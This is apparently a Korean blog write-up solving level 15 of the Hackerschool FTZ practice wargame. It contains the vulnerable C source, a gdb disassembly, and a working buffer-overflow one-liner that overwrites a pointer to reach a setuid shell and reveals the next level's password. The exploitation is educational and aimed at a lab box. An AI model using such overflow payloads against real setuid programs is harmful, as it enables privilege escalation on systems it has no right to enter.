뇌
[FTZ] level 15 → level 16 문제풀이 본문
level15 - id
: level15 , pw
: guess what
[level15@ftz level15]$ ls
attackme hint public_html tmp
[level15@ftz level15]$ cat hint
#include <stdio.h>
main()
{ int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
}
[level15@ftz level15]$
이번 문제는 level14 문제에서 check 가 포인터 인 것만 바뀌었다.
attackme 파일을 gdb 로 분석해보자.
[level15@ftz level15]$ cp attackme tmp
[level15@ftz level15]$ cd tmp
[level15@ftz tmp]$ ls
attackme
[level15@ftz tmp]$ gdb -q attackme
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
0x0804849f <main+15>: push 0x2d
0x080484a1 <main+17>: lea eax,[ebp-56]
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: mov eax,DWORD PTR [ebp-16]
0x080484b0 <main+32>: cmp DWORD PTR [eax],0xdeadbeef
0x080484b6 <main+38>: jne 0x80484dd <main+77>
0x080484b8 <main+40>: sub esp,0x8
0x080484bb <main+43>: push 0xc18
0x080484c0 <main+48>: push 0xc18
0x080484c5 <main+53>: call 0x8048380 <setreuid>
0x080484ca <main+58>: add esp,0x10
0x080484cd <main+61>: sub esp,0xc
0x080484d0 <main+64>: push 0x8048548
0x080484d5 <main+69>: call 0x8048340 <system>
0x080484da <main+74>: add esp,0x10
---Type <return> to continue, or q <return> to quit---
0x080484dd <main+77>: leave
0x080484de <main+78>: ret
0x080484df <main+79>: nop
End of assembler dump.
(gdb)
0x080484a1 <main+17> 부분을 보면 ebp-56 주소를 fgets 함수의 인자값으로 넘겨준다. ( fgets(buf,45,stdin); )
즉, buf 의 위치는 ebp-56 이다.
0x080484ad <main+29> 부분을 보면 ebp-16 주소에 있는 값을 eax 에 넣어주고, 그 주소에 있는 값이 0xdeadbeef 인지 비교한다.
그러므로 ebp-16 에 0xdeadbeef 가 있는 값의 주소를 넣어주면 된다.
직접 buf 에 0xdeadbeef 를 넣어 그 주소를 찾아오면 좋겠지만,
FTZ 환경에서는 ASLR 보호기법이 걸려있기 때문에 정확한 주소를 찾아봤자 계속 바뀐다.
그럼 0xdeadbeef 가 어디 있을까?
바로 0x080484ad <main+29> 쪽에 있다.
attackme 파일을 하드코딩 되었기 때문에 값이 0x080484ad 쪽에 저장되어있을 것이다.
하드코딩은 데이터가 실행 바이너리에 합쳐져 있는 상태를 말한다.
출처: https://meanpain.tistory.com/111 [죠셉의 세상이야기]
main 에 breakpoint 를 걸고 실행해보자.
(gdb) b*main
Breakpoint 1 at 0x8048490
(gdb) r
Starting program: /home/level15/tmp/attackme
Breakpoint 1, 0x08048490 in main ()
(gdb) x/4x 0x080484b0
0x80484b0 <main+32>: 0xbeef3881 0x2575dead 0x6808ec83 0x00000c18
(gdb)
데이터를 보니까 deadbeef 가 보인다.
(gdb) x/x 0x080484b0+2
0x80484b2 <main+34>: 0xdeadbeef
(gdb)
0xdeadbeef 의 정확한 주소는 0x080484b2 이다.
buf(20) + dummy(20) + *check(4)
A | A | ... | A | \xb2 | \x84 | \x04 | \x08 |
↑ ↑
ebp-56 ( buf 시작주소 ) ebp-16 ( *check 시작주소 )
구조는 이렇다.
buf부터 dummy 까지( 40byte ) A 로 덮고, 4byte를 0x080484b2 로 덮으면 되겠다.
이제 attackme 파일을 공격해보자.
[level15@ftz tmp]$ cd ..
[level15@ftz level15]$ ls
attackme hint public_html tmp
[level15@ftz level15]$ (python -c 'print "A"*40 + "\xb2\x84\x04\x08"';cat) | ./attackme
id
uid=3096(level16) gid=3095(level15) groups=3095(level15)
my-pass
Level16 Password is "about to cause mass".
level16 권한으로 쉘이 따졌다.
Level16 Password is "about to cause mass".
감사합니다
'Pwnable > 해커스쿨 FTZ write-up' 카테고리의 다른 글
[FTZ] level 17 → level 18 문제풀이 (0) | 2020.03.06 |
---|---|
[FTZ] level 16 → level 17 문제풀이 (0) | 2020.03.06 |
[FTZ] level 14 → level 15 문제풀이 (0) | 2020.03.01 |
[FTZ] level 13 → level 14 문제풀이 (0) | 2020.02.29 |
[FTZ] level 12 → level 13 문제풀이 (0) | 2020.02.29 |